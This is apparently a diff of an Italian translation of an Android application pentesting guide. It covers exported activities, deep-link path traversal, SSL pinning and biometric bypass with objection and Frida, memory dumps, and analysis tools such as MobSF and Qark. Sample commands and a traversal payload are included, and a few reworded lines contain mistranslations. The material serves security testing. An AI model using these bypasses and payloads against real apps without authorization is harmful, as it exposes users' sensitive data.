Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
@ -338,7 +342,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
@ -389,7 +393,7 @@ Ogni volta che trovi un deep link, controlla che **non stia ricevendo dati sensi
**Parametri nel percorso**
Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un traversamento del percorso accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un percorso di traversamento accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Nota che se trovi i corretti endpoint all'interno dell'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del percorso è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vulnerabile usava il metodo corretto) e qualsiasi altra vulnerabilità. Maggiori [info su questo qui](http://dphoeniixx.com/2020/12/13-2/).
**Altri esempi**
@ -414,15 +418,15 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (ad es., Burp). Senza installare questo certificato, il traffico crittografato potrebbe non essere visibile attraverso il proxy. Per una guida sull'installazione di un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**riferisciti a questo tutorial**](make-apk-accept-ca-certificate.md).
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, semplicemente aggiungendo il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CAs validi.
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CA valide.
#### Bypassare SSL Pinning
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
@ -446,7 +450,7 @@ Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
### **Dump della memoria - Fridump**
Controlla se l'applicazione sta memorizzando informazioni sensibili all'interno della memoria che non dovrebbe memorizzare, come password o mnemonici.
Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemoniche.
Utilizzando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
```bash
@ -479,7 +483,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Immagini di Sfondo**
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, così sembra che l'app sia stata caricata più velocemente.
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).
@ -491,7 +495,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analizzatore di Applicazioni Android**
Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Questo strumento potrebbe aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Iniezione di Intent
@ -526,7 +530,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
![](<../../images/image (866).png>)
**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -545,15 +549,15 @@ L'**analizzatore dinamico di MobSF** può:
- Catturare il **traffico HTTPS**
- Usare **Frida** per ottenere **informazioni** **runtime**
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
Dalla versione **android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
**Frida**
Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare il pinning SSL**, **rilevamento del root** e **rilevamento del debugger** e per **monitorare API interessanti**.\
Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare SSL pinning**, **rilevamento root** e **rilevamento debugger** e per **monitorare API interessanti**.\
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script Frida a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script di venerdì a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -581,7 +585,7 @@ receivers
```
**Strumenti HTTP**
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
@ -606,7 +610,7 @@ Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
### [Qark](https://github.com/linkedin/qark)
Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
Questo strumento è progettato per cercare diverse **vulnerabilità delle applicazioni Android relative alla sicurezza**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -658,9 +662,9 @@ androbugs.exe -f [APK file]
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -711,13 +715,13 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
Puoi caricare un APK offuscato sulla loro piattaforma.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini.
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Google Gemini.
### [Simplify](https://github.com/CalebFenton/simplify)
È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale sia il tipo specifico di offuscazione utilizzato.
È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di offuscazione venga utilizzato.
### [APKiD](https://github.com/rednaga/APKiD)